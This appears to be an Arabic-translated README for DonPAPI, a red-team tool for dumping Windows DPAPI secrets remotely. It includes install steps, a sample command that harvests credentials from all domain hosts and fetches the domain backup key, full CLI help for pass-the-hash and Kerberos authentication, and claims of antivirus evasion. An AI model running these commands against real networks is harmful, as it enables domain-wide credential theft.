
أداة تفريغ بيانات الاعتماد الآلي عن بُعد لبيئات ويندوز، تستخرج أسرار DPAPI وبيانات اعتماد المتصفحات والشهادات وملفات التهيئة، مع ميزات مدمجة لتجنب الدفاع ومشاهد الغنائم المستند إلى الويب.
تقوم DonPAPI بأتمتة تفريغ الأسرار عن بُعد على أجهزة Windows متعددة، مع مراعاة التخفي عن برامج الحماية.

البيانات المعتمدة التي يتم جمعها:
لقد قدمنا محاضرة بالفرنسية حول DPAPI بعنوان DPAPI - Don't Put Administration Passwords In 🇫🇷:
يجب تثبيت هذه الأداة باستخدام pipx أو في بيئة افتراضية مخصصة
pipx install donpapi
أو (مع أحدث الإصدارات)
pipx install git+https://github.com/login-securite/DonPAPI.git
أو (للتطوير)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
يُستخدم هذا الإجراء لجمع الأسرار من الأهداف المحددة في -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
تعمل المصادقة عن طريق تحديد نطاق باستخدام --domain، واسم مستخدم باستخدام --username، واختياريًا كلمة مرور باستخدام --password، أو تجزئة باستخدام --hashes، أو مفتاح AES باستخدام --aesKey، أو تذكرة Kerberos بصيغة ccache باستخدام -k (على نمط Impacket).
يمكنك أيضًا المصادقة عبر LAPS على الجهاز باستخدام --laps وقيمة اسم حساب LAPS المحلي لهذه المعلمة.
افتراضيًا، سيجمع DonPAPI ما يلي:
يمكنك تحديد كل ما تريد جمعه باستخدام --collectors (على نمط SharpHound). إذا استخدمت --fetch-pvk، سيقوم DonPAPI تلقائيًا بجلب مفتاح النسخ الاحتياطي للنطاق الخاص بمجال Active Directory واستخدامه لفك تشفير المفاتيح الرئيسية. بخلاف ذلك، يمكنك تقديم واحد باستخدام --pvkfile. يتم استخدام --pwdfile و --ntfile لتغذية DonPAPI بالأسرار من أجل فك قفل المفاتيح الرئيسية. ولكن إذا كان لديك مفاتيح رئيسية تم فك تشفيرها حديثًا، فيمكنك استخدام --mkfile.
[!WARNING] بعض طرق الجمع قد تتطلب تفريغ أسرار LSA (من أجل الحصول على مفتاح جهاز DPAPI). يمكن أن يكون هذا الإجراء مزعجًا، وستقوم أنظمة EDR الحديثة بحظرك فورًا. يمكنك استخدام
-nrلتجنب القيام بهذه الإجراءات المزعجة، ولكن لن يتم جمع بعض الأسرار.